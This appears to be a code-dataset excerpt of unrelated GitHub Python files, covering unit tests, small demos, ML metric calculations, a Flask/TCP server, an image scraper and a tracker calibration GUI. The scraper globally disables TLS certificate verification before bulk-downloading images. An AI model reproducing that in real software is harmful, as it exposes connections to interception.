test_update_index_2_before_exon1_right_boundary(self):\n trypFragIndex = 10\n exon1Right = 15 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n def test_update_index_1_before_exon1_right_boundary(self):\n trypFragIndex = 10\n exon1Right = 14 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n def test_update_index_up_to_exon1_right_boundary(self):\n trypFragIndex = 10\n exon1Right = 13 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n #Crossing boundary\n def test_update_index_crossing_boundary(self):\n trypFragIndex = 10\n exon1Right = 13 \n exon2Left = 100\n peptide = \"AA\" #[10,11,12],[13,100,101],102\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 102)\n \n def test_update_index_1_more_than_boundary(self):\n trypFragIndex = 10\n exon1Right = 12 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],100\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 100)\n \n def test_update_index_2_more_than_boundary(self):\n trypFragIndex = 10\n exon1Right = 11 \n exon2Left = 100\n peptide = \"A\" #[10,11,100],101\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 101)\n\nif __name__ == '__main__':\n unittest.main()\n\n","repo_name":"smith-chem-wisc/SampleSpecificDBGenerator","sub_path":"tests/test_novelsplices.py","file_name":"test_novelsplices.py","file_ext":"py","file_size_in_byte":5976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40558016921","text":"#!/usr/bin/env python3\nfrom concurrent.futures import ThreadPoolExecutor\n\npool = ThreadPoolExecutor(max_workers=8)\n\ndef func(x, y):\n import time\n time.sleep(1)\n return x + y\ndef result_handler(fut):\n result = fut.result()\n print('Got:', result)\ndef run():\n fut = pool.submit(func, 2, 3)\n fut.add_done_callback(\n result_handler\n )\nrun()\nprint(\"DONE\")\n","repo_name":"pimiento/coroutines_and_asyncio_webinar","sub_path":"async.py","file_name":"async.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30138433632","text":"import sys\nfrom os import path\n\nfrom scripts import convert_DLT_to_TXT, create_new_folders, sort_files, decompress_files_from_path, find_incidence\n\nif __name__ == \"__main__\":\n args = sys.argv\n args_len = len(args)\n target_path = args[1]\n script_path = path.dirname(__file__)\n new_dir_path = path.join(script_path, path.splitext(target_path)[0])\n\n if args_len >= 0:\n if path.isdir(target_path):\n decompress_files_from_path(target_path)\n \n if (args_len > 1):\n convert_DLT_to_TXT(target_path)\n else:\n print(\"Number of passed arguments is:\",\n len(sys.argv), \" expecting: 2\")\n \n find_incidence(target_path)\n create_new_folders(target_path)\n sort_files(target_path)\n\n print(\"Everything done\")\n else:\n decompress_files_from_path(new_dir_path)\n else:\n print(\"Unexpected Error\")\n","repo_name":"natmsaenz/ParsingBot","sub_path":"ParsingBot.py","file_name":"ParsingBot.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36546782977","text":"# Definition for a binary tree node.\nfrom collections import deque\nfrom typing import Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution(object):\n def findTarget(self, root, k):\n \"\"\"\n :type root: TreeNode\n :type k: int\n :rtype: bool\n \"\"\"\n if root is None:\n return False\n res_list = list()\n\n def in_order_traversal(root):\n if root is None:\n return\n in_order_traversal(root.left)\n res_list.append(root.val)\n in_order_traversal(root.right)\n\n in_order_traversal(root)\n res_list_len = len(res_list)\n left, right = 0, res_list_len - 1\n while left < right:\n if res_list[left] + res_list[right] == k:\n return True\n elif res_list[left] + res_list[right] < k:\n left += 1\n elif res_list[left] + res_list[right] > k:\n right -= 1\n return False\n\n # Iterative way to complete it\n def findTarget1(self, root: Optional[TreeNode], k: int) -> bool:\n\n if root == None and k != 0:\n return False\n\n q1 = deque([root])\n s = set()\n while q1:\n node = q1.popleft()\n if k - node.val in s:\n return True\n s.add(node.val)\n if node.left:\n q1.append(node.left)\n if node.right:\n q1.append(node.right)\n return False\n","repo_name":"sakshamratra0106/PracticeProblems","sub_path":"Tree/653TwoSumIV-InputisaBST.py","file_name":"653TwoSumIV-InputisaBST.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39333631141","text":"import cv2 as cv\nimport numpy as np\nimport random\nimport copy\n\ndef carBody(arr, img):\n cv.rectangle(img, arr, arr, (255,255,255), 5)\n return img\n\ndef dtCollisionBoundaries(arr):\n if (arr[0] >= 155) or (arr[0] <= 45):\n return True\n if (arr[1] >= 465):\n return True\n return False\n\ndef dtDestination(arr):\n if (arr[1] <= 75):\n return True\n return False\n\ndef getDisplay(arr):\n img = np.zeros((512, 512, 3), dtype=\"uint8\")\n img = carBody(arr, img)\n boundaryPts = np.array([[40, 70], [40, 470],\n [160, 470], [160, 70]],\n np.int32)\n boundaryPts = boundaryPts.reshape((-1, 1, 2))\n\n destPts = np.array([[40, 70], [160, 70]],\n np.int32)\n destPts = destPts.reshape((-1, 1, 2))\n isClosed = True\n thickness = 8\n img = cv.polylines(img, [boundaryPts],\n isClosed, (0, 255, 0),\n thickness)\n img = cv.polylines(img, [destPts],\n isClosed, (0, 0, 255),\n thickness)\n return img\n\nif __name__ == \"__main__\":\n arr = [92,427]\n img = getDisplay(arr)\n key = 97\n\n while True:\n done = False\n cv.imshow(\"The Car Dot game\", img)\n\n if key == ord('a'):\n arr[0] = arr[0] - 5\n elif key == ord('d'):\n arr[0] = arr[0] + 5\n elif key == ord('w'):\n arr[1] = arr[1] - 5\n elif key == ord('s'):\n arr[1] = arr[1] + 5\n elif key == ord('q'):\n break\n\n # detect collision with boudaries\n if dtCollisionBoundaries(arr) == True:\n print(\"collision with boundaries\")\n break\n\n # # check if snake has found the food\n if dtDestination(arr) == True:\n print(\"Reached destination\")\n break\n\n img = getDisplay(arr)\n k = cv.waitKey(400)\n if k != -1:\n key = copy.deepcopy(k)","repo_name":"ajithvallabai/RL001","sub_path":"Lesson_01_DotsAndLines/basic_games/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5686486968","text":"# -*- coding: utf-8 -*-\nimport unittest\nfrom unittest.mock import * # noqa\nfrom nose.tools import * # noqa\nimport jwcrypto.jws\n\nfrom clique.blockchain import * # noqa\nfrom clique.keystore import * # noqa\n\n\ndef test_global_KeyStore():\n assert_true(isinstance(keystore(), LocalKeyStore))\n\n class NewKeyStore(LocalKeyStore):\n pass\n curr = setKeyStore(NewKeyStore())\n assert_true(isinstance(keystore(), NewKeyStore))\n assert_true(isinstance(curr, LocalKeyStore))\n\n\ndef test_LocalKeyStore():\n ks = LocalKeyStore()\n\n k1 = Identity.generateKey()\n ks.add(k1)\n assert_is(ks[thumbprint(k1)], k1)\n\n k2 = Identity.generateKey()\n assert_raises(KeyNotFoundError, ks.__getitem__, thumbprint(k2))\n ks.add(k2)\n assert_is(ks[thumbprint(k2)], k2)\n\n assert_in(thumbprint(k1), ks)\n assert_in(thumbprint(k2), ks)\n assert_not_in(thumbprint(newJwk()), ks)\n\n # Upload on a local key store results on an 'add'\n ks = LocalKeyStore()\n ks.add = MagicMock()\n ks.upload(k1)\n ks.add.assert_called_with(k1)\n\ndef test_KeyNotFoundError():\n ex = KeyNotFoundError(\"this is a test\")\n assert_equals(str(ex), \"Encrypion key not found: this is a test\")\n\n\nclass Response:\n \"\"\"Dummy 'requests' responce class.\"\"\"\n def __init__(self, c, k):\n self.status_code = c\n self._key = k\n\n def json(self):\n return json.loads(self._key.export())\n\n\nclass TestRemoteKeyStore(unittest.TestCase):\n\n def setUp(self):\n self.url = \"http://keystore.com/keys\"\n self.headers = {\"content-type\": \"application/json\"}\n self.ks = RemoteKeyStore(self.url)\n self.ks._post = MagicMock()\n # This should NOT be called when we add keys\n self.ks._post.side_effect = NotImplementedError\n\n self.keys = []\n for _ in range(10):\n k = newJwk()\n self.keys.append(k)\n self.ks.add(k)\n\n\n def test_ctor(self):\n url = self.url\n h = self.headers\n ks = RemoteKeyStore(url)\n assert_equals(ks._url, url)\n assert_dict_equal(ks._headers, h)\n\n def test_NoGetForCachedValues(self):\n ks = RemoteKeyStore(self.url)\n ks._get = MagicMock(return_value=True)\n ks._post = MagicMock(return_value=True)\n keys = []\n for _ in range(10):\n k = newJwk()\n keys.append(k)\n ks.add(k)\n\n for key, tp in [(k, thumbprint(k)) for k in keys]:\n k = ks[tp]\n assert_is(k, key)\n # Should not have hit server, k is in cache\n ks._get.assert_not_called()\n\n def test_upload(self):\n key = self.keys[0]\n success = Response(201, key)\n fail = Response(500, None)\n\n # Happy path\n self.ks._post = MagicMock(return_value=success)\n tprint = self.ks.upload(key)\n self.ks._post.assert_called_with(self.url, headers=self.headers,\n json=json.loads(key.export_public()))\n assert_equals(tprint, thumbprint(key))\n\n # Http error\n self.ks._post = MagicMock(return_value=fail)\n assert_raises(requests.RequestException, self.ks.upload, self.keys[2])\n\n # Kid changed error\n key = self.keys[3]\n key._params[\"kid\"] = \"The Black Ryder\"\n success = Response(201, key)\n self.ks._post = MagicMock(return_value=success)\n assert_raises(ValueError, self.ks.upload, key)\n\n def test_getKey(self):\n new_key = newJwk()\n self.ks._get = MagicMock(return_value=Response(200, new_key))\n\n k = self.ks[thumbprint(new_key)]\n self.ks._get.assert_called_with(self.url + \"/\" + thumbprint(new_key))\n\n self.ks._get.reset_mock()\n assert_is(self.ks[thumbprint(k)], k)\n self.ks._get.assert_not_called()\n\n new_key = newJwk()\n self.ks._get = MagicMock(return_value=Response(500, new_key))\n assert_raises(KeyNotFoundError,\n self.ks.__getitem__, thumbprint(new_key))\n\n","repo_name":"nicfit/Clique","sub_path":"tests/test_keystore.py","file_name":"test_keystore.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"26072826912","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\n\n\ndef app():\n # -----------------------------------\n # 回帰\n # -----------------------------------\n st.markdown(f'## Regression')\n # rmse\n st.markdown(f'### RMSE')\n\n from sklearn.metrics import mean_squared_error\n\n # y_trueが真の値、y_predが予測値\n y_true = np.array([1.0, 1.5, 2.0, 1.2, 1.8])\n y_pred = np.array([0.8, 1.5, 1.8, 1.3, 3.0])\n\n rmse_actual = np.sqrt((y_true - y_pred) @ (y_true - y_pred) / y_true.size)\n st.markdown(f'#### Calculated by codes')\n st.write(rmse_actual)\n\n rmse_expect = np.sqrt(mean_squared_error(y_true, y_pred))\n st.markdown(f'#### Calculated by sklearn')\n st.write(rmse_expect)\n\n # -----------------------------------\n # 二値分類\n # -----------------------------------\n st.markdown(f'## Binary classification')\n\n # 0, 1で表される二値分類の真の値と予測値\n y_true = np.array([1, 0, 1, 1, 0, 1, 1, 0])\n y_pred = np.array([0, 0, 1, 1, 0, 0, 1, 1])\n y_prob = np.array([0.1, 0.2, 0.8, 0.8, 0.1, 0.3, 0.1, 0.9])\n\n # 混同行列\n st.markdown(f'### Confusion Matrix')\n\n from sklearn.metrics import confusion_matrix\n\n tp = np.sum((y_true == 1) & (y_pred == 1))\n tn = np.sum((y_true == 0) & (y_pred == 0))\n fp = np.sum((y_true == 0) & (y_pred == 1))\n fn = np.sum((y_true == 1) & (y_pred == 0))\n confusion_matrix_actual = np.array([[tp, fp], [fn, tn]])\n st.markdown(f'#### Calculated by codes')\n st.write(confusion_matrix_actual)\n\n confusion_matrix_expect = confusion_matrix(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(confusion_matrix_expect)\n\n # accuracy\n st.markdown(f'### Accuracy')\n\n from sklearn.metrics import accuracy_score\n\n accuracy_actual = (tp + tn) / (tp + fp + fn + tn)\n st.markdown(f'#### Calculated by codes')\n st.write(accuracy_actual)\n\n accuracy_expect = accuracy_score(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(accuracy_expect)\n\n # precision\n st.markdown(f'### Precision')\n\n precision_actual = tp / (tp + fp)\n st.markdown(f'#### Calculated by codes')\n st.write(precision_actual)\n\n # recall\n st.markdown(f'### Recall')\n\n recall_actual = tp / (tp + fn)\n st.markdown(f'#### Calculated by codes')\n st.write(recall_actual)\n\n # f1 score\n st.markdown(f'### F1 score')\n\n from sklearn.metrics import f1_score\n\n f1_score_actual = 2 * tp / (2 * tp + fn + fp)\n st.markdown(f'#### Calculated by codes')\n st.write(f1_score_actual)\n\n f1_score_expect = f1_score(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(f1_score_expect)\n\n\n # logloss\n st.markdown(f'### logloss')\n\n from sklearn.metrics import log_loss\n\n logloss_actual = -(y_true @ np.log(y_prob) + (1 - y_true) @ np.log(1 - y_prob)) / y_true.size\n st.markdown(f'#### Calculated by codes')\n st.write(logloss_actual)\n\n logloss_expect = log_loss(y_true, y_prob)\n st.markdown(f'#### Calculated by sklearn')\n st.write(logloss_expect)\n\n # -----------------------------------\n # マルチクラス分類\n # -----------------------------------\n st.markdown(f'## Multi class classification')\n\n # 3クラス分類の真の値と予測値\n y_true = np.array([0, 2, 1, 2, 2])\n y_pred = np.array([[0.68, 0.32, 0.00],\n [0.00, 0.00, 1.00],\n [0.60, 0.40, 0.00],\n [0.00, 0.00, 1.00],\n [0.28, 0.12, 0.60]])\n\n # multi-class logloss\n st.markdown(f'### multi-class logloss')\n\n from sklearn.metrics import log_loss\n\n mc_logloss_actual = - np.sum(np.log(y_pred[np.arange(y_true.size), y_true])) / y_true.size\n st.markdown(f'#### Calculated by codes')\n st.write(mc_logloss_actual)\n\n mc_logloss_expect = log_loss(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(mc_logloss_expect)\n\n # -----------------------------------\n # マルチラベル分類\n # -----------------------------------\n st.markdown(f'## Multi label classification')\n\n # マルチラベル分類の真の値・予測値は、評価指標の計算上はレコード×クラスの二値の行列とした方が扱いやすい\n # 真の値 - [[1,2], [1], [1,2,3], [2,3], [3]]\n y_true = np.array([[1, 1, 0],\n [1, 0, 0],\n [1, 1, 1],\n [0, 1, 1],\n [0, 0, 1]])\n\n # 予測値 - [[1,3], [2], [1,3], [3], [3]]\n y_pred = np.array([[1, 0, 1],\n [0, 1, 0],\n [1, 0, 1],\n [0, 0, 1],\n [0, 0, 1]])\n\n # mean_f1\n st.markdown(f'### mean f1 score')\n\n from sklearn.metrics import f1_score\n\n tp = np.sum((y_true == 1) & (y_pred == 1), axis=1)\n fp = np.sum((y_true == 0) & (y_pred == 1), axis=1)\n fn = np.sum((y_true == 1) & (y_pred == 0), axis=1)\n mean_f1_actual = np.mean(2 * tp / (2 * tp + fp + fn))\n st.markdown(f'#### Calculated by codes')\n st.write(mean_f1_actual)\n\n mean_f1_expect = f1_score(y_true, y_pred, average='samples')\n st.markdown(f'#### Calculated by sklearn')\n st.write(mean_f1_expect)\n\n # macro_f1\n st.markdown(f'### macro f1 score')\n\n tp = np.sum((y_true == 1) & (y_pred == 1), axis=0)\n fp = np.sum((y_true == 0) & (y_pred == 1), axis=0)\n fn = np.sum((y_true == 1) & (y_pred == 0), axis=0)\n macro_f1_actual = np.mean(2 * tp / (2 * tp + fp + fn))\n st.markdown(f'#### Calculated by codes')\n st.write(macro_f1_actual)\n\n macro_f1_expect = f1_score(y_true, y_pred, average='macro')\n st.markdown(f'#### Calculated by sklearn')\n st.write(macro_f1_expect)\n\n # micro_f1\n st.markdown(f'### micro f1 score')\n\n tp = np.sum((y_true == 1) & (y_pred == 1))\n fp = np.sum((y_true == 0) & (y_pred == 1))\n fn = np.sum((y_true == 1) & (y_pred == 0))\n micro_f1_actual = np.mean(2 * tp / (2 * tp + fp + fn))\n st.markdown(f'#### Calculated by codes')\n st.write(micro_f1_actual)\n\n micro_f1_expect = f1_score(y_true, y_pred, average='micro')\n st.markdown(f'#### Calculated by sklearn')\n st.write(micro_f1_expect)\n\n # -----------------------------------\n # クラス間に順序関係があるマルチクラス分類\n # -----------------------------------\n st.markdown(f'## Ordering multi class classification')\n # quadratic weighted kappa\n st.markdown(f'### quadratic weighted kappa')\n\n from sklearn.metrics import confusion_matrix, cohen_kappa_score\n\n # quadratic weighted kappaを計算する関数\n def quadratic_weighted_kappa(c_matrix):\n numer = 0.0\n denom = 0.0\n\n for i in range(c_matrix.shape[0]):\n for j in range(c_matrix.shape[1]):\n n = c_matrix.shape[0]\n wij = ((i - j) ** 2.0)\n oij = c_matrix[i, j]\n eij = c_matrix[i, :].sum() * c_matrix[:, j].sum() / c_matrix.sum()\n numer += wij * oij\n denom += wij * eij\n\n return 1.0 - numer / denom\n\n # y_true は真の値のクラスのリスト、y_pred は予測値のクラスのリスト\n y_true = [1, 2, 3, 4, 3]\n y_pred = [2, 2, 4, 4, 5]\n\n # 混同行列を計算する\n c_matrix = confusion_matrix(y_true, y_pred, labels=[1, 2, 3, 4, 5])\n\n # quadratic weighted kappaを計算する\n kappa_actual = quadratic_weighted_kappa(c_matrix)\n st.markdown(f'#### Calculated by codes')\n st.write(kappa_actual)\n\n # scikit-learnのメソッドを使うことでも計算できる\n kappa_expect = cohen_kappa_score(y_true, y_pred, weights='quadratic')\n st.markdown(f'#### Calculated by sklearn')\n st.write(kappa_expect)\n\n # -----------------------------------\n # レコメンデーション\n # -----------------------------------\n st.markdown(f'## Recomendation')\n # MAP@K\n st.markdown(f'### MAP@K')\n\n # K=3、レコード数は5個、クラスは4種類とする\n K = 3\n\n # 各レコードの真の値\n y_true = [[1, 2], [1, 2], [4], [1, 2, 3, 4], [3, 4]]\n\n # 各レコードに対する予測値 - K=3なので、通常は各レコードにそれぞれ3個まで順位をつけて予測する\n y_pred = [[1, 2, 4], [4, 1, 2], [1, 4, 3], [1, 2, 3], [1, 2, 4]]\n\n\n # 各レコードごとのaverage precisionを計算する関数\n def apk(y_i_true, y_i_pred):\n # y_predがK以下の長さで、要素がすべて異なることが必要\n assert (len(y_i_pred) <= K)\n assert (len(np.unique(y_i_pred)) == len(y_i_pred))\n\n sum_precision = 0.0\n num_hits = 0.0\n\n for i, p in enumerate(y_i_pred):\n if p in y_i_true:\n num_hits += 1\n precision = num_hits / (i + 1)\n sum_precision += precision\n\n return sum_precision / min(len(y_i_true), K)\n\n\n # MAP@K を計算する関数\n def mapk(y_true, y_pred):\n return np.mean([apk(y_i_true, y_i_pred) for y_i_true, y_i_pred in zip(y_true, y_pred)])\n\n # MAP@Kを求める\n st.write(mapk(y_true, y_pred))\n # 0.65\n\n # 正解の数が同じでも、順序が違うとスコアも異なる\n st.write(apk(y_true[0], y_pred[0]))\n st.write(apk(y_true[1], y_pred[1]))\n","repo_name":"ar90n/lab","sub_path":"sandbox/kagglebook_practice/kagglebook_practice/ch02/ch02_01_metrics.py","file_name":"ch02_01_metrics.py","file_ext":"py","file_size_in_byte":9352,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"74146863913","text":"#!/usr/bin/python3\n\nfrom gtts import gTTS\n\nintext=(\"Please face the camera. A photograph will be taken and sent to a member of staff. You will then be given further instructions. Thank you for your patience.\") \nlang='en'\nfilename = 'outtext.mp3' \n\ntts = gTTS(text=intext, lang='en') \ntts.save(filename)","repo_name":"ardus-uk/rpi-utils","sub_path":"text2speech.py","file_name":"text2speech.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73204677352","text":"from flask import Flask, render_template, request,jsonify, flash, redirect,request, url_for\nimport random, socket, threading\nimport time\n\ncache = {}\n\ncache['pm10'] = ''\n\n#tcp server\nTCP_IP = '192.168.1.4'\nTCP_PORT = 7005\nBUFFER_SIZE = 20\n\ndef launchServer():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((TCP_IP, TCP_PORT))\n s.listen(1)\n \n\n print('waiting for connection')\n conn, addr = s.accept()\n print ('Connection address:', addr)\n \n while True:\n conn.sendall(time.asctime())\n print ('Data sent from server -> client')\n time.sleep(0.5)\n num = conn.recv(40)\n num = num.rstrip('\\x00')\n cache['pm10'] = num\n print('Server received data on', str(cache['pm10']) + time.asctime())\n time.sleep(0.5)\n\n\n#flask app\napp = Flask(__name__)\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('main.html')\n\n@app.route('/pay', methods=['GET'])\ndef pay_calc():\n return jsonify({'data1': cache['pm10']})\n\nif __name__ == \"__main__\":\n t = threading.Thread(target=launchServer)\n t.daemon = True\n t.start()\n app.run(ssl_context=('cert.pem', 'key.pem'))\n","repo_name":"alfred-ai/microchip-asf","sub_path":"common/components/wifi/winc3400/simple_roaming_https_example/script/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"74386256874","text":"import urllib.request\nimport requests\nfrom bs4 import BeautifulSoup\nimport ssl\nimport re\nssl._create_default_https_context = ssl._create_unverified_context\n\nurl = \"http://www.netbian.com/\"\nresponse = urllib.request.urlopen(url)\n\nsoup=BeautifulSoup(response,'html.parser')\nprint(soup)\n\nnum=0\nr2=re.compile('/index_',re.I)\nfor link in soup.find_all('img'):\n \n \n \n x=link.get('src')\n print(x)\n imageStream = requests.get(x)\n yuan = imageStream.content\n num=num+1\n with open('/Users/mac/Desktop/Mosaic/src/smallPhotos/' + str(num) + '.jpg', 'wb') as f:\n \n print(\"正在写入第%d张\" % num)\n f.write(yuan) # 写进去\n f.close() # 关闭文件\n\n\nfor index in range(2,100):\n re=urllib.request.urlopen(url+\"/index_\"+str(index)+\".htm\")\n s=BeautifulSoup(re,'html.parser')\n for link in s.find_all('img'):\n \n \n \n x=link.get('src')\n print(x)\n imageStream = requests.get(x)\n yuan = imageStream.content\n num=num+1\n with open('/Users/mac/Desktop/Mosaic/src/smallPhotos/' + str(num) + '.jpg', 'wb') as f:\n \n print(\"正在写入第%d张\" % num)\n f.write(yuan) # 写进去\n f.close() # 关闭文件\n \n \n \n \n \n \n\n \n\n\n","repo_name":"coolling/Mosaic-Pattern","sub_path":"sprayPhotos.py","file_name":"sprayPhotos.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"2681493527","text":"import os, sys, time\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.spatial.transform import Rotation as R\n\nimport roslibpy\n\nfrom PyQt5 import Qt, QtCore\n\nfrom sksurgerynditracker.nditracker import NDITracker\n\nrom_file_0 = os.path.abspath(os.path.join(os.path.dirname(__file__), 'digitizer-02.rom'))\ntracking_sleep_interval = 2 # second\n\nSETTINGS = {\n \"tracker type\": \"polaris\",\n \"romfiles\" : [rom_file_0]\n }\n# TRACKER = NDITracker(SETTINGS)\n# TRACKER.start_tracking()\n# port_handles, timestamps, framenumbers, tracking, quality = TRACKER.get_frame()\n# for t in tracking:\n# print (t)\n# TRACKER.stop_tracking()\n# TRACKER.close()\n\n\nclass MainWidget(Qt.QWidget):\n\n sig_shutdown = QtCore.pyqtSignal()\n\n def __init__(self, parent=None):\n super(MainWidget, self).__init__()\n\n # Setup roslibpy client connection\n self.ros = roslibpy.Ros(host='localhost', port=9090)\n self.ros.run(timeout=0.1)\n self.cmd_pub = roslibpy.Topic(self.ros, 'cmd/gcode', 'std_msgs/msg/String')\n\n # NDI Polaris Tracker\n self.tracker = NDITracker(SETTINGS)\n\n # GUI Widget\n self.setWindowTitle(\"Stepper Motor Calibration using NDI Polaris\")\n\n self.axis_name_comboBox = Qt.QComboBox()\n self.axis_name_comboBox.addItems([\"X\", \"Y\", \"Z\", \"A\", \"B\"])\n self.axis_type_linear = Qt.QRadioButton(\"Linear\")\n self.axis_type_linear.setChecked(True)\n self.axis_type_angular = Qt.QRadioButton(\"Angular\")\n self.axis_limit_spinBox = Qt.QSpinBox()\n self.axis_limit_spinBox.setMaximum(1000)\n self.axis_limit_spinBox.setValue(100)\n self.num_of_measurement_spinBox = Qt.QSpinBox()\n self.num_of_measurement_spinBox.setValue(10)\n self.plot_chkBox = Qt.QCheckBox(\"Plot\")\n self.plot_chkBox.setChecked(True)\n self.run_btn = Qt.QPushButton(\"Calibrate\")\n\n self.run_btn.clicked.connect(self.calibrate)\n\n # GUI Layout\n gridlayout_0 = Qt.QGridLayout()\n\n vlayout_axis_type = Qt.QVBoxLayout()\n vlayout_axis_type.addWidget(self.axis_type_linear)\n vlayout_axis_type.addWidget(self.axis_type_angular)\n\n vlayout_operation = Qt.QVBoxLayout()\n vlayout_operation.addWidget(self.plot_chkBox)\n vlayout_operation.addWidget(self.run_btn)\n\n gridlayout_0.addWidget(Qt.QLabel(\"Axis Name\"), 0, 0)\n gridlayout_0.addWidget(Qt.QLabel(\"Axis Type\"), 0, 1)\n gridlayout_0.addWidget(Qt.QLabel(\"Axis Limit\"), 0, 2)\n gridlayout_0.addWidget(Qt.QLabel(\"Measurements\"), 0, 3)\n gridlayout_0.addWidget(self.axis_name_comboBox, 1, 0)\n gridlayout_0.addLayout(vlayout_axis_type, 1, 1)\n gridlayout_0.addWidget(self.axis_limit_spinBox, 1, 2)\n gridlayout_0.addWidget(self.num_of_measurement_spinBox, 1, 3)\n gridlayout_0.addLayout(vlayout_operation, 1, 4)\n\n self.setLayout(gridlayout_0)\n self.show()\n\n\n def calibrate(self):\n # Start tracking\n self.tracker.start_tracking()\n print(\"Tracking Started\")\n pose_measure_list = []\n diff_measure_list = []\n time.sleep(1)\n pose_measure_list.append(self.tracker.get_frame()[3][0])\n \n # Generate random gcode cmd list for single axis\n axis_name = self.axis_name_comboBox.currentText()\n axis_range = range(0, self.axis_limit_spinBox.value())\n jnt_val_list = random.sample(axis_range, self.num_of_measurement_spinBox.value())\n jnt_val_list.sort()\n gcode = \"G0{}\".format(axis_name)\n gcode_send_list = []\n for val in jnt_val_list:\n gcode_send_list.append(gcode + \"{:0.3f}\".format(-val))\n\n # Send Gcode to Grbl_backend through roslibpy\n if self.ros.is_connected:\n for cmd in gcode_send_list:\n self.cmd_pub.publish(roslibpy.Message({'data': cmd}))\n time.sleep(tracking_sleep_interval)\n port_handles, timestamps, framenumbers, tracking, quality = self.tracker.get_frame()\n pose_measure_list.append(tracking[0])\n self.cmd_pub.unadvertise()\n\n # Stop tracking\n self.tracker.stop_tracking()\n print(\"Tracking Stopped\")\n initial_pose = pose_measure_list.pop(0)\n\n # Process the measurement\n if self.axis_type_linear.isChecked():\n for pose in pose_measure_list:\n distance_measure = np.linalg.norm(pose[:3,3] - initial_pose[:3,3])\n diff_measure_list.append(distance_measure)\n\n if self.axis_type_angular.isChecked():\n initial_r = R.from_matrix(initial_pose[:3,:3])\n initial_angle = initial_r.as_euler('zyx', degrees=True)\n for pose in pose_measure_list:\n r = R.from_matrix(pose[:3,:3])\n angle_measure = r.as_euler('zyx', degrees=True) - initial_angle\n diff_measure_list.append(-angle_measure[0]) # assuming rotate about z-axis of the marker\n\n # Store data using pandas DataFrame\n data = {'command':jnt_val_list, 'measure':diff_measure_list}\n data = pd.DataFrame(data)\n x = data.command\n y = data.measure\n\n # line fitting\n model = np.polyfit(x, y, 1)\n print(model)\n predict = np.poly1d(model)\n\n # Plotting\n y_lin_reg = predict(axis_range)\n plt.scatter(x, y)\n plt.plot(axis_range, y_lin_reg, c = 'r')\n plt.xlabel(\"Command\")\n plt.ylabel(\"Measurement\")\n plt.show()\n\n\n def closeEvent(self, event):\n # disconnect roslibpy client and close the tracker\n self.ros.terminate()\n self.tracker.close()\n super().closeEvent(event)\n\n\nif __name__ == '__main__':\n app = Qt.QApplication(sys.argv)\n window = MainWidget()\n sys.exit(app.exec_())","repo_name":"jhu-bigss/grbl_ros2_gui","sub_path":"ndi_polaris/calibrate_stepper_single_axis.py","file_name":"calibrate_stepper_single_axis.py","file_ext":"py","file_size_in_byte":5378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"9891648479","text":"\"\"\"Declare runtime dependencies\n\nThese are needed for local dev, and users must install them as well.\nSee https://docs.bazel.build/versions/main/skylark/deploying.html#dependencies\n\"\"\"\n\nload(\"@bazel_tools//tools/build_defs/repo:http.bzl\", _http_archive = \"http_archive\", _http_jar = \"http_jar\")\nload(\"@bazel_tools//tools/build_defs/repo:utils.bzl\", \"maybe\")\n\ndef http_archive(name, **kwargs):\n maybe(_http_archive, name = name, **kwargs)\n\ndef http_jar(name, **kwargs):\n maybe(_http_jar, name = name, **kwargs)\n\n# WARNING: any changes in this function may be BREAKING CHANGES for users\n# because we'll fetch a dependency which may be different from one that\n# they were previously fetching later in their WORKSPACE setup, and 